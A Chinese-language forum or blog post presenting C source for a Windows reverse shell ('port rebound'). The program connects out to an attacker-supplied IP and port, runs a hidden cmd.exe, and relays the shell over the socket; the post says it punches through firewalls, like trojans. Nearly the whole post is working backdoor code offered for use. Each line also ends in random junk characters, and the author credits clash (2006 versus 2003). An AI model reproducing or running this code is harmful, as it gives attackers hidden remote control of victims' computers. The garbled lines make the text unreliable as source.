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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 85X^T]zo  
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/* ============================== p;'vOb  
Rebound port in Windows NT nU`;MW/^w  
By wind,2006/7 >U}~Hv]  
===============================*/ w68qyG|wM  
#include Tq?W @DM*  
#include q`\lvdl  
wUSWB{y  
#pragma comment(lib,"wsock32.lib") } M1<a4~  
q!7\`>.2:{  
void OutputShell(); ?/u&U\P  
SOCKET sClient; (+ >n/I6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3b_#xr-  
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void main(int argc,char **argv) $)uQ%/DH>  
{ jrW7AT)\  
WSADATA stWsaData; jALo;PDJ  
int nRet; `q/y|/v<  
SOCKADDR_IN stSaiClient,stSaiServer; weDv[b5i  
\Z~m6;  
if(argc != 3) 5<S1,u5  
{ 6jnRC*!?  
printf("Useage:\n\rRebound DestIP DestPort\n"); (z.Vwl5  
return; G9gvOEI/  
} !7w-?1?D  
H11Wb(6Wu  
WSAStartup(MAKEWORD(2,2),&stWsaData); I4)vJ0  
g>Z1ZK0;M  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LD5'4,%-  
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stSaiClient.sin_family = AF_INET; 4C2 D wj  
stSaiClient.sin_port = htons(0); X(1.Hjh  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?^7~|?v  
WRnUF[y+)  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) BE U[M  
{ >y=%o~  
printf("Bind Socket Failed!\n"); w8on3f;6n#  
return; 71 2i |  
} O-|3k$'\z  
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stSaiServer.sin_family = AF_INET; m760K*:i\  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T&h|sa(   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q8p 'bibY  
FqiK}K.~/  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) jVA xa|S  
{ B[*i}k%i  
printf("Connect Error!"); c9& 8kq5  
return; ?oF@q :W  
} 4x3`dvfp/  
OutputShell(); [IYs4Y5  
} HsXFglQ  
!F%dE!  
void OutputShell() gi`ZFq@  
{ hIw*dob  
char szBuff[1024]; BU)4g[4  
SECURITY_ATTRIBUTES stSecurityAttributes; JAn3  
OSVERSIONINFO stOsversionInfo; 6?`py}:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QR#,n@fE  
STARTUPINFO stStartupInfo; (kSk bwu  
char *szShell; ;Rt,"W)  
PROCESS_INFORMATION stProcessInformation; k4|YaGhf  
unsigned long lBytesRead; {Cd*y6lI  
LO2sP"9  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ffWvrY;j[  
.h6h&[TEU  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %AJdtJ@0H  
stSecurityAttributes.lpSecurityDescriptor = 0; FkS{Z s  
stSecurityAttributes.bInheritHandle = TRUE; i7p3GBXh[  
fGxa~Unx  
WT0U)x( m5  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \0:l9;^4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); F |GWYw'%  
'J\%JAR@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @B[V'|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 59)PJ0E  
stStartupInfo.wShowWindow = SW_HIDE; lyT~>.?{  
stStartupInfo.hStdInput = hReadPipe; ND`~|6yb  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; RS93_F8   
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GetVersionEx(&stOsversionInfo); vbWX`skU  
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switch(stOsversionInfo.dwPlatformId) Ufk7%`  
{ *s/F4?*  
case 1: `zvYuKQ.}  
szShell = "command.com"; xo*a9H?@  
break; ,JjTzO  
default: J0x)m2  
szShell = "cmd.exe"; $V+ze*ra  
break; r9QNE>UG  
} nqV7Db~  
's9)\LS>p  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sPhh#VCw{  
+F@9AO>LF  
send(sClient,szMsg,77,0); $DQMN  
while(1) ?iq:Gf  
{ %@IR7v~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ZA# jw 8F  
if(lBytesRead) 4[(P>`Unx  
{ Vw,dHIe(3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E0*81PS  
send(sClient,szBuff,lBytesRead,0); *AJW8tIP  
} Kg%_e9nj#  
else >yaz  
{ "{&!fD~w  
lBytesRead=recv(sClient,szBuff,1024,0); zi5;>Iv0}  
if(lBytesRead<=0) break; mO\6B7V!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); avT>0b:  
} U_!6pqFc  
} {:? -)Xq  
N#UyAm<9  
return; S |B7HS5  
}
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